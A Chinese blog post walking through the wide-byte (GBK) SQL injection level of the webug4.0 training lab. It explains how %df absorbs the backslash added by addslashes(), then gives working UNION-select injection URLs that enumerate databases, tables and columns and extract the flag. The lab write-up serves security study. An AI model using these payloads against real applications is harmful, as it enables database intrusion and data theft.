webug4.0—宽字节注入

宽字节注入原理即是利用编码转换,将服务器端强制添加的本来用于转义的\符号绕过,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。

前言

GBK是一种多字符编码,一个汉字占2个字节,utf-8编码的汉字占3个字节。

addslashes() 函数会对括号里  (') 、(")、 (\)、 (NULL)、的四个字符添加反斜杠并将其返回。

Mysql有一个特性,在进行GBK编码时会将两个字符认为一个汉字(前提是第一个字符的ASCII大于128才能达到汉字范围)。

如果SQL输入经过了addslashes() 函数处理,我们输入' 时 会变成 \’。

一般绕过的方法有两种:

1. 将 \' 前面的 斜杠 进行转义 \\' 这样单引号就能绕过,逃逸出来

2. 想办法去掉前面的\ 

一、实践1

看到网址尝试在后面添加单引号,但是页面并没有什么变化,因为已经知道是宽字节注入,所以添加%df'

PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

页面报错了:

可以看到单引号 ' 变成了 \'   %df没有显示出来,但我们知道%df转化成10进制是223 大于128,与后面反斜杠 \  的16进制%5c 合成一个汉字,使得单引号逃逸出来。这也是上面说的第2个方法。

二、实践2

我们再添加 %df\'   会变成 %df5c5c5c27  %df5c 会组成一个汉字 而%5c5c会进行转义 后面的单引号逃逸

我们再添加 %dfdf' 会变成 %dfdf5c27   %dfdf 会组成一个汉字(至少是个宽字节) 而%5c与%27依旧是 \'

三、注入

剩下过程与前面几关类似

接下来判断字段数  判断结果为2

http://localhost/control/sqlinject/width_byte_injection.php?id=1%df' order by 2--+

爆出数据库名字

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,schema_name from information_schema.schemata --+

数据库名字:information_schema,challenges,mysql,performance_schema,security,test,webug,webug_sys,webug_width_byte

爆数据库webug下的表

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,table_name from information_schema.tables where table_schema=0x7765627567--+

webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test

爆env_list的列

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,column_name from information_schema.columns where table_name=0x656e765f6c697374--+

env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type

爆本题flag

http://localhost/control/sqlinject/width_byte_injection.php?id=-1%df' union select 1,envFlag from webug.env_list where id=6 --+

flag:dfsadfsadfas

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值